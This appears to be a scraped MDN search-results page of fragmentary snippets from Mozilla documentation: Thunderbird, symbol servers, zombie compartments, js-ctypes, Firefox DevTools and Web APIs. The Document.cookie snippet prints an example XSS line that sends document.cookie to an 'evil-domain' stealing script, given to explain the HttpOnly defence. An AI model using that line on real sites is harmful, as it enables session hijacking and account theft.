mmunity. these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox. thunderbird is built on the same technical platform as the firefox web browser. currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment. (from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the co
mm-central repository. ...
...ozilla symbol server to help with debugging. mailnews protocols rough documentation about mail protocols.. database views backend information about nsimsgdbview and related interfaces. thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extensions view all... ...
...ugh documentation about mail protocols.. database views backend information about nsimsgdbview and related interfaces. thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extensions view all... ...
... user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird co
mmunication channels ...
Using the Mozilla symbol server
risk characters. to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath co
mmand. if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe ...
...ote: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows. ...
...symchk: helper.exe failed - built without debugging information. ...
... in addition to symbols, mozilla also has a source server, letting you do source-level debugging and inspection on demand. troubleshooting: symbols will not download if symbols will not download no matter what you do, the problem may be that internet explorer has been set to the work offline mode. you will not receive any warnings of this in windbg, visual c++ or visual studio. even using the co
mmand line with symchk.exe to download symbols will fail. this is because microsoft uses internet explorer's internet & proxy settings to download the symbol files. check the file menu of internet explorer to ensure "work offline" is unchecked. ...
Zombie compartments
rincipal], 0x7f10f1250000) compartment(atoms) js-compartment(about:home) js-compartment(about:blank) compartment([system principal], resource://gre/modules/addons/xpiprovider.jsm) when looking at user compartments there are a couple of things to be aware of. first, many sites utilize scripts from other sites to provide advertisements, "like" and "+1" buttons, twitter feeds, etc. so it's co
mmon for multiple compartments to be created for a single web page. for example, if i open www.techcrunch.com the following compartments are created. compartment(http://techcrunch.com/) compartment(http://www.facebook.com/plugins/like.php?...) compartment(https://plusone.google.com/_/+1/fastbutton?...) compartment(http://platform.twitter.com/widgets/...utton.html?...) compartment(http://cdn.
...rtment is present. close the first page. minimize memory usage and remeasure in about:memory. it might be worth refreshing multiple times just to be sure. if the compartment is still present in about:memory, that's very suspicious. you could try waiting 20 minutes or so, then reload about:memory again. some zombie compartments stick around for a limited time before disappearing, others are i
mmortal, and it's useful to know which is which. if you see any `ghost-windows` (at the bottom of about:memory) that is also suspicious, as they are similar to zombie compartments. some zombie compartments are caused by add-ons. if you have add-ons enabled, please try to reproduce in safe mode, which disables them. if you can identify, by disabling them one at a time, a single add-on that is res...
...g 669545 for an example. if the zombie compartment is caused by an add-on, please mark the bug as also blocking bug 700547. it really is best to follow these instructions. in particular, if you have multiple tabs open it's easy to mis-identify whether a compartment should still be alive. if you only have about:memory open, things are much simpler. proactive checking of add-ons it's not unco
mmon for add-ons to cause zombie compartments, see bug 700547 for examples. follow these steps to do some basic checking of an add-on. create a new profile. install and enable the add-on. restart the browser. browse one or more pages and do something that exercises the add-on. for example, for an add-on that remembers passwords, visit a site that requires a password; for an add-on that perf...
...47. restartless add-ons should also take special care that all their compartments get destroyed after disabling or uninstalling the add-on. (please note that you may need to close the about:addons ui before changes are made). avoiding zombie compartments in add-ons once you know that an add-on causes a zombie compartment, the only way to identify the cause is to read the add-on's code. see co
mmon causes of memory leaks in extensions for things to avoid. ...
Using COM from js-ctypes
the windows api mostly concerns itself with the interaction between the operating system and an application. for co
mmunication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api. this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework. com is c++ and it cannot be written directly with js-ctypes. this documentaion explains how to convert the com c++ code into js-ctypes code. ...
...nd embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework. com is c++ and it cannot be written directly with js-ctypes. this documentaion explains how to convert the com c++ code into js-ctypes code. basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - co
mment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c. after that, we can pass a pointer . speech synthesis example let's start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait until t...
... $ cl ole32.lib test.cpp vtable needs vtable description here. the order of the vtable is very critical. when used from c or js-ctypes, the order of the vtable methods should match the order of the c++ vtable. __stdcall and __cdecl needs __stdcall and __cdecl (callback_abi) description here. call by reference needs c++ reference (&) and c poi...
... $ cl ole32.lib test.c c code with pseudo struct needs pseudo struct description here. #include <sapi.h> struct myispvoicevtbl; struct myispvoice { struct myispvoicevtbl* lpvtbl; }; struct myispvoicevtbl { /* start inherit from iunknown */ void* queryinterface; void* addref; ulong (__stdcall *release)(struct myispvoice*); /* end inherit from iun...
Using Objective-C from js-ctypes
done. #import <appkit/appkit.h> int main(void) { nsspeechsynthesizer* synth = [[nsspeechsynthesizer alloc] initwithvoice: nil]; [synth startspeakingstring: @"hello, firefox!"]; // wait until start speaking. while (![synth isspeaking]) {} // wait while speaking. while ([synth isspeaking]) {} [synth release]; return 0; } save this file as test.m, and run with the following co
mmand, inside the same directory as the saved file (needs xcode). $ clang -framework appkit test.m && ./a.out class, message, and selector our task at hand is to convert objective-c syntax to c syntax. let's look at the following codelet: [nsspeechsynthesizer alloc] it passes an alloc message to the nsspeechsynthesizer class, in objective-c syntax. it performs the following through this objec...
...ng. // [synth isspeaking] while (!objc_msgsend(synth, isspeaking)) {} // wait while speaking. // [synth isspeaking] while (objc_msgsend(synth, isspeaking)) {} sel release = sel_registername("release"); // [synth release]; objc_msgsend(synth, release); // [text release]; objc_msgsend(text, release); return 0; } to run this code, save it as test.c, and run the following co
mmand in the same directory. $ clang -lobjc -framework appkit test.c && ./a.out converting c code to js-ctypes code now we have working c code, it can be converted into js-ctypes in a relatively straightforward manner. types and functions in addition to the above code, we need to declare function and types. types types can be readily declared. bool is defined in /usr/include/objc/objc.h. le...
.../ wait until start speaking. while (!objc_msgsend_bool(synth, isspeaking)) {} // wait while speaking. while (objc_msgsend_bool(synth, isspeaking)) {} let release = sel_registername("release"); objc_msgsend(synth, release); objc_msgsend(text, release); lib.close(); creating objective-c blocks objective-c api calls sometimes require you to pass in a block. reading the apple developer :: progra
mming with objective-c - working with blocks you can learn more about blocks. to create a block with js-ctypes, use the function: function createblock(afunctypeptr) { /** * creates a c block instance from a js function. * blocks are regular objective-c objects in obj-c, and can be sent messages; * thus block instances need are creted using the core.wrapid() function. */ // apple docs :: w...
... js-ctypes, use the function: function createblock(afunctypeptr) { /** * creates a c block instance from a js function. * blocks are regular objective-c objects in obj-c, and can be sent messages; * thus block instances need are creted using the core.wrapid() function. */ // apple docs :: working with blocks - https://developer.apple.com/library/ios/documentation/cocoa/conceptual/progra
mmingwithobjectivec/workingwithblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityripple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descriptor" is a static singleton struct. probably used in more * complex block scenarios involving actual c...
Examine and edit CSS - Firefox Developer Tools
if you enable one of these pseudo-classes for a node, an orange dot appears in the markup vie...
...ch for the values of properties: to find the rule responsible for setting the font to "lucida grande", type that in the search box. while in the computed view, you can press ctrl / cmd + f to focus the search field. once you've typed in a filter, you can press esc to remove it again. edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results i
mmediately. you can also tab through the different existing properties and values, and start editing them by pressing enter or space. to add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace). as you start typing a property name, you'll see a list of autocomplete suggestions. press tab to accept the current suggestion or up and down to move thro...
...t existing properties and values, and start editing them by pressing enter or space. to add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace). as you start typing a property name, you'll see a list of autocomplete suggestions. press tab to accept the current suggestion or up and down to move through the list. the default choice is the most co
mmon property that starts with the letters you've typed. for example, here the user has typed "c" and the default choice is "color": if you enter an invalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration. edits that you make in the rules view are reflected in the style editor, and vice versa. any changes you make are tempora...
...hanges will not be shown in the changes pane. also remember, as noted above, that changes you make to the css rules are temporary and will be reset if you reload the page. if you are satisfied with the changes you have made, you can copy the new settings to page the edited rule into your stylesheet. right-click on the changes panel and select copy rule from the context menu. the copy rule co
mmand copies the entire element, class, or id definition, including any unchanged rules and the rules that describe your changes. for example, copying the changes in the preceding image, you get the following: .text-content p { box-sizing:border-box; max-width:24rem; text-decoration: underline; color: cadetblue; font-weight: bold; } add rules you can add new rules in the rules view. just rig...
Settings - Firefox Developer Tools
tion of the developer tools. you can choose between the default setting at the bottom of the windows, or move the tools to the left or right side of the screen. these settings are particularly useful if you have a widescreen monitor. you can also choose to open the tools in a separate window. show split console adds a section at the bottom of the tools showing the console. ...
...idescreen monitor. you can also choose to open the tools in a separate window. show split console adds a section at the bottom of the tools showing the console. it makes visible the co
mmand line and one or two lines of the console output. the rest of the settings are on the developer tools settings pane. to see the settings, open any of the developer tools, and then: click the "settings" co
mmand in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like this: categories default firefox developer tools this group of checkboxes determines which tools are enabled in the toolbox. new tools are often included in firefox but not enabled by default. available toolbox buttons this group of checkboxes determines which tools...
...icon will appear in the toolbar while the settings tab is displayed, even if the current page doesn't include any iframes. note that in firefox 52 we removed the checkbox to toggle the "select element" button. the "select element" button is now always shown. themes this enables you to choose one of two themes. ...
...lways shown. themes this enables you to choose one of two themes. there's a light theme, which is the default: a dark theme: co
mmon preferences settings that apply to more than one tool. there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you navigate to a new page. if co
mmon preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view. note that th...
Web Console Helpers - Firefox Developer Tools
$(selector, element) looks up a css selector string selector , returning the first node descended from element that matches. if unspecified, element defaults to document. equivalent to document.queryselector() or calls the $ function in the page, if it exists. see the queryselector code snippet. $$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended from element that match. if unspecified, element defaults to document. this is like for document.queryselectorall(), but returns an array instead of a nodelist. $0 the currently-inspected element in the page. ...
...ppet. $$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended from element that match. if unspecified, element defaults to document. this is like for document.queryselectorall(), but returns an array instead of a nodelist. $0 the currently-inspected element in the page. $_ stores the result of the last expression executed in the console's co
mmand line. for example, if you type "2+2 <enter>", then "$_ <enter>", the console will print 4. $x(xpath, element, resulttype) evaluates the xpath xpath expression in the context of element and returns an array of matching nodes. if unspecified, element defaults to document. the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding stri...
...the page. this helper accepts multiple different ways of identifying the frame to switch to. you can supply any of the following: a selector string to be passed to document.queryselector to locate the iframe element the iframe element itself the content window inside the iframe see working with iframes. clear() clears the console output area. clearhistory() just like a normal co
mmand line, the console co
mmand line remembers the co
mmands you've typed. use this function to clear the console's co
mmand history. copy() copies the argument to the clipboard. if the argument is a string, it's copied as-is. if the argument is a dom node, its outerhtml is copied. otherwise, json.stringify will be called on the argument, and the result will be copied to the clipboard. help()deprec...
...perty names) on that object. this is a shortcut for object.keys. pprint() obsolete since gecko 74 formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays. :screenshot creates a screenshot of the current page with the supplied filename. if you don't supply a filename, the image file will be named with the following format: screen shot yyy-
mm-dd at hh.
mm.ss.png the co
mmand has the following optional parameters: co
mmand type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard. --delay number the number of seconds to delay before taking the screenshot. --dpr number the device pixel ratio...
Firefox Developer Tools
eb developer tools built into firefox. you can use them to examine, edit, and debug html, css, and javascript. this section contains detailed guides to all of the tools as well as information on how to debug firefox for android, how to extend devtools, and how to debug the browser as a whole. if you have any feedback on devtools, or want to contribute to the project, you can join the devtools co
mmunity. note: if you are just getting started with web development and using developer tools, our learning docs will help you — see getting started with the web and what are browser developer tools? for good starting points. the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or...
... getting started with the web and what are browser developer tools? for good starting points. the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or f12 on windows and linux, or cmd + opt + i on macos. the ellipsis menu on the right-hand side of developer tools contains several co
mmands that let you perform actions or change tool settings. this button only appears when there are multiple iframes on a page. click it to display a list of the iframes on the current page and select the one with which you want to work. click this button to take a screenshot of the current page. (note: this feature is not turned on by default and must be enabled in set...
... the current page. (note: this feature is not turned on by default and must be enabled in settings before the icon will appear.) toggles responsive design mode. opens the menu that includes docking options, the ability to show or hide the split console, and developer tools settings. the menu also includes links to the documentation for firefox web tools and the mozilla co
mmunity. closes the developer tools page inspector view and edit page content and layout. visualise many aspects of the page including the box model, animations, and grid layouts. web console see messages logged by a web page and interact with the page using javascript. javascript debugger stop, step through, examine, and modify the javascript running in a page...
... bugs.firefox-dev.tools a tool helping to find bugs to work on. ...
AbortSignal - Web APIs
also available via the onabort property. ...
... also available via the onabort property. ...
... also available via the onabort property. methods the abortsignal interface inherits methods from its parent interface, eventtarget. examples in the following snippet, we aim to download a video using the fetch api. ...
... { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. current version of firefox rejects the promise with a domexception you can find a full working example on github — see abort-api (see it running live also). specifications specification status co
mment domthe definition of 'abortsignal' in that specification. living standard initial definition ...
AesGcmParams - Web APIs
es for this parameter, see the specification for aes-gcm: nist sp800-38d, in particular section 5.2.1.1 on input data. properties name a domstring. this should be set to aes-gcm. iv a buffersource — the initialization vector. this must be unique for every encryption operation carried out with a given key. put another way: never reuse an iv with the same key. the aes-gcm specification reco
mmends that the iv should be 96 bits long, and typically contains bits from a random number generator. section 8.2 of the specification outlines methods for constructing ivs. note that the iv does not have to be secret, just unique: so it is ok, for example, to transmit it in the clear alongside the encrypted message. additionaldata optional a buffersource. this contains additional data that wil...
...ompromising the security of the encryption operation. taglength optional a number. this determines the size in bits of the authentication tag generated in the encryption operation and used for authentication in the corresponding decryption. according to the web crypto specification this must have one of the following values: 32, 64, 96, 104, 112, 120, or 128. ...
...ation reco
mmends that it should be 96, 104, 112, 120 or 128, although 32 or 64 bits may be acceptable in some applications: appendix c of the specification provides additional guidance here. taglength is optional and defaults to 128 if it is not specified. examples see the examples for subtlecrypto.encrypt() and subtlecrypto.decrypt(). specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.aesgcmparams' in that specification. ...
...pplications: appendix c of the specification provides additional guidance here. ...
Animation.pause() - Web APIs
me of the animation is positive infinity. throws an invalidstateerror if the animation's currenttime is unresolved (perhaps it hasn't started playing yet) and the end time of the animation is positive infinity. ...
...rted playing yet) and the end time of the animation is positive infinity. ...
...cake.addeventlistener("mouseup", stopplayingalice, false...
...rds', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: no
mmingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); no
mmingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations. cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status co
mment web animationsthe definition of 'play()' in that specification. working draft ...
AudioTrack - Web APIs
properties enabled a boolean value which controls whether or not the audio track's sound is enabled. setting this value to false mutes the track's audio. id read only a domstring which uniquely identifies the track within the media. this id can be used to locate a specific track within an audio track list by calling audiotracklist.gettrackbyid(). ...
...d(). the id can also be used as the fragment part of the url if the media supports seeking by media fragment per the media fragments uri specification. kind read only a domstring specifying the category into which the track falls. for example, the main audio track would have a kind of "main". label read only a domstring providing a human-readable label for the track. for example, an audio co
mmentary track for a movie might have a label of "co
mmentary with director john q. public and actors john doe and jane eod." this string is empty if no label is provided. language read only a domstring specifying the audio track's primary language, or an empty string if unknown. the language is specified as a bcp 47 (rfc 5646) language code, such as "en-us" or "pt-br". sourcebuffer read only t...
...english, this would be "en-us", for example. example this example returns an array of track kinds and labels for potential use in a user interface to select audio tracks for a specified media element. the list is filtered to only allow certain track kinds through. ...
...edkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label. specifications specification status co
mment html living standardthe definition of 'audiotrack' in that specification. living standard html5the definition of 'audiotrack' in that specification. reco
mmendation ...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
bit 0, user presence (up) - if set, authenticator validated that the user was present through some test of user presence (tup), such as touching a button on the authenticator. bit 2, user verification (uv) - if set, authenticator verified the actual user, through a biometric, pin, or other authentication method. bit 6, attested credential data (at) - if set, attestedcredentialdata will i
mmediately follow the first 37 bytes of this authenticatordata. bit 7, extension data (ed) - if set, extension data is present. extension data will follow attestedcredentialdata if it is present, or will i
mmediatelly follow the first 37 bytes of the authenticatordata if no attestedcredentialdata is present. signcount (4 bytes) - a signature count from the authenticator. the server will use ...
...following format: aaguid (16 bytes) - authenticator attestation globally unique identifier, a unique number that identifies the model of the authenticator (not the specific instance of the authenticator) so that a relying party can understand the characteristics of the authenticator by looking up its metadata statement. credentialidlength (2 bytes) - the length of the credential id that i
mmediately follows these bytes. credentialid (variable length) - a unique identifier for this credential so that it can be requested for future authentications. the credential is "credentialidlength" bytes long. credentialpublickey (variable length) - a cose encoded public key. this public key will be stored on the server associated with a user's account and be used for future authentications.
... ...
... ...
Background Tasks API - Web APIs
hould receive them. in addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth. it's an extremely busy chunk of code, and your main javascript code may run right inside this thread along with all of this. certainly most if not all code that is capable of making changes to the dom is running in the main thread, since it's co
mmon for user interface changes to only be available to the main thread. because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop. in the past, there's been no way to do this reliably other than by writing code that's as effici...
...t to null so we don't add it again. if the log was scrolled to the end when we started, we make sure it still is. then we set statusrefreshscheduled to false to indicate that we've handled the refresh and that it's safe to request a new one. adding text to the log the log() function adds the specified text to the log. since we don't know at the time log() is called whether or not it's safe to i
mmediately touch the dom, we will cache the log text until it's safe to update. above, in the code for updatedisplay(), you can find the code that actually adds the logged text to the log element when the animation frame is being updated. function log(text) { if (!logfragment) { logfragment = document.createdocumentfragment(); } let el = document.createelement("div"); el.innerhtml = ...
...mation frame is being updated. function log(text) { if (!logfragment) { logfragment = document.createdocumentfragment(); } let el = document.createelement("div"); el.innerhtml = text; logfragment.appendchild(el); } first, we create a documentfragment object named logfragment if one doesn't currently exist. this element is a pseudo-dom into which we can insert elements without i
mmediately changing the main dom itself. we then create a new <div> element and set its contents to match the input text. then we append the new element to the end of the pseudo-dom in logfragment. logfragment will accumulate log entries until the next time updatedisplay() is called because the dom for the changes. running tasks now that we've got the task management and display maintenance code ...
...ueued by calling enqueuetask(), passing in logtaskhandler() as the handler function and the taskdata object as the object to pass into the function when it's called. result below is the actual functioning result of the code above. try it out, play with it in your browser's developer tools, and experiment with using it in your own code. specifications specification status co
mment cooperative scheduling of background tasks proposed reco
mmendation ...
Managing screen orientation - Web APIs
ust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it. adjusting layout based on the orientation one of the most co
mmon cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device. for example, perhaps you want a button bar to stretch along the longest dimension of the device's display. by using a media query, you can do this easily and automatically. let's have an example with the following html code <ul id="toolbar"> <li>a</li> <li>b</li> <...
...he longest dimension of the device's display. by using a media query, you can do this easily and automatically. let's have an example with the following html code <ul id="toolbar"> <li>a</li> <li>b</li> <li>c</li> </ul> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. in ac est dolor, quis tincidunt leo. ...
...t, consectetur adipiscing elit. duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. in ac est dolor, quis tincidunt leo. cras co
mmodo quam non tortor consectetur eget rutrum dolor ultricies. ut interdum tristique dapibus. ...
... -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box; background: black; } li { display: inline-block; margin : 0; padding: 0.5em; background: white; } once we have some co
mmon styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on top */ @media screen and (orientation: portrait) { #toolbar { width: 100%; } } /* for landscape, we want the tool bar stick on the left */ @media screen and (orientation: landscape) { #toolbar { position: fixed; width: 2.65em; height: 100%; } p { margin-lef...
CanvasRenderingContext2D.setTransform() - Web APIs
set: a (m11) horizontal scaling. a value of 1 results in no scaling. b (m12) vertical skewing. c (m21) horizontal skewing. d (m22) vertical scaling. a value of 1 results in no scaling. e (dx) horizontal translation (moving). f (dy) vertical translation (moving). the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a do
mmatrixinit object; any object will do as long as it contains the above components as properties). examples skewing a shape this example skews a rectangle both vertically (.2) and horizontally (.8). scaling and translation remain unchanged. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1,...
...erties). examples skewing a shape this example skews a rectangle both vertically (.2) and horizontally (.8). scaling and translation remain unchanged. ...
...the second type), and draw a circle on it. ...
... living standard ...
Drawing shapes with canvas - Web APIs
en erases a 60x60 pixel square from the center, and then strokerect() is called to create a rectangular outline 50x50 pixels within the cleared square. in upcoming pages we'll see two alternative methods for clearrect(), and we'll also see how to change the color and stroke style of the rendered shapes. unlike the path functions we'll see in the next section, all three rectangle functions draw i
mmediately to the canvas. drawing paths now let's look at paths. a path is a list of points, connected by segments of lines that can be of different shapes, curved or not, of different width and of different color. a path, or even a subpath, can be closed. to make shapes using paths, we take some extra steps: first, you create the path. then you use drawing co
mmands to draw into the path. onc...
... path methods methods to set different paths for objects. closepath() adds a straight line to the path, going to the start of the current sub-path. ...
... the shape by stroking its outline. fill() draws a solid shape by filling the path's content area. the first step to create a path is to call the beginpath(). internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. every time this method is called, the list is reset and we can start drawing new shapes. note: when the current path is empty, such as i
mmediately after calling beginpath(), or on a newly created canvas, the first path construction co
mmand is always treated as a moveto(), regardless of what it actually is. for that reason, you will almost always want to specifically set your starting position after resetting a path. the second step is calling the methods that actually specify the paths to be drawn. we'll see these shortly. the thi...
...en can be very helpful and reduce the amount of code you need, as well as its complexity. we'll take another look at fillstyle, in more detail, later in this tutorial. here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again. path2d objects as we have seen in the last example, there can be a series of paths and drawing co
mmands to draw objects onto your canvas. to simplify the code and to improve performance, the path2d object, available in recent versions of browsers, lets you cache or record these drawing co
mmands. you are able to play back your paths quickly. let's see how we can construct a path2d object: path2d() the path2d() constructor returns a newly instantiated path2d object, optionally with another p...
Document.cookie - Web APIs
vent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link. the none value explicitly states no restrictions will be applied. the cookie will be sent in all requests—both cross-site and same-site. the cookie value string can use encodeuricomponent() to ensure that the string does not contain any co
mmas, semicolons, or whitespace (which are disallowed in cookie values). some user agent implementations support the following cookie prefixes: __secure- signals to the browser that it should only include the cookie in requests transmitted over a secure channel. __host- signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the ...
...h the path of the cookie, then accessing this iframe's contentdocument.cookie property. the only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy. cookies are often used in web application to identify a user and their authenticated session. so stealing the cookie from a web application, will lead to hijacking the authenticated user's session. co
mmon ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firef...
... about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. this will make each request slower. it is highly reco
mmended for you to use whatwg dom storage if you are going to keep "client-only" data. rfc 2965 (section 5.3, "implementation limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. each browser's implementation maximum will necessarily be different, so consult individual browser documentation. ...
... obsolete initial definition cookie prefixes draft ...
Document.evaluate() - Web APIs
returns an xpathresult based on an xpath expression and other given parameters. syntax var xpathresult = document.evaluate( xpathexpression, contextnode, namespaceresolver, resulttype, result ); xpathexpression is a string representing the xpath to be evaluated. contextnode specifies the context node for the query (see the xpath specification). it's co
mmon to pass document as the context node. namespaceresolver is a function that will be passed any namespace prefixes and should return a string representing the namespace uri associated with that prefix. it will be used to resolve prefixes within the xpath itself, so that they can be matched with the document. null is co
mmon for html documents or when no namespace prefixes are used. resulttype is an integer that corresponds ...
... * the result will likely be an unordered node iterator. ...
... * the result will likely be an unordered node iterator. */ var thisheading = headings.iteratenext(); var alerttext = "level 2 headings in this document are:\n"; while (thisheading) { alerttext += thisheading.textcontent + "\n"; thisheading = headings.iteratenext(); } alert(alerttext); // alerts the text of all h2 elements note, in the above example, a more verbose xpath is preferred over co
mmon shortcuts such as //h2. generally, more specific xpath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. this is because the evaluation of the query spends does not waste time visiting unnecessary nodes. using // is generally slow as it visits every node from the root and all subnodes looking for possible matches. further...
...napshots, which are essentially lists of matched nodes. you can make changes to the document by altering snapshot nodes. modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed. specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'document.evaluate' in that specification. reco
mmendation initial specification browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull re...
Document.querySelectorAll() - Web APIs
= parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using co
mmas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing one element object for each element that matches at least one...
...ectors string is not valid. examples obtaining a list of matches to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose i
mmediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.q...
...selector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any co
mmon looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most co
mmon javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div c...
...ueryselectorall() only verifies that the last element in the selector is within the search scope. the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status co
mment domthe definition of 'parentnode.queryselectorall()' in that specification. living standard living standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification. obsolete no change dom4the definition of 'parentnode.queryselectorall()' in that specification. obsolete initial definition selectors ap...
Document Object Model (DOM) - Web APIs
with them, you can change the document's structure, style, or content. nodes can also have event handlers attached to them. once an event is triggered, the event handlers get executed. ...
...nguages by representing the structure of a document—such as the html representing a web page—in memory. usually, that means javascript, although modeling html, svg, or xml documents as objects are not part of the core javascript language, as such. the dom represents a document with a logical tree. each branch of the tree ends in a node, and each node contains objects. ...
...ogra
mmatic access to the tree. with them, you can change the document's structure, style, or content. nodes can also have event handlers attached to them. once an event is triggered, the event handlers get executed. to learn more about what the dom is and how it represents documents, see our article introduction to the dom. ...
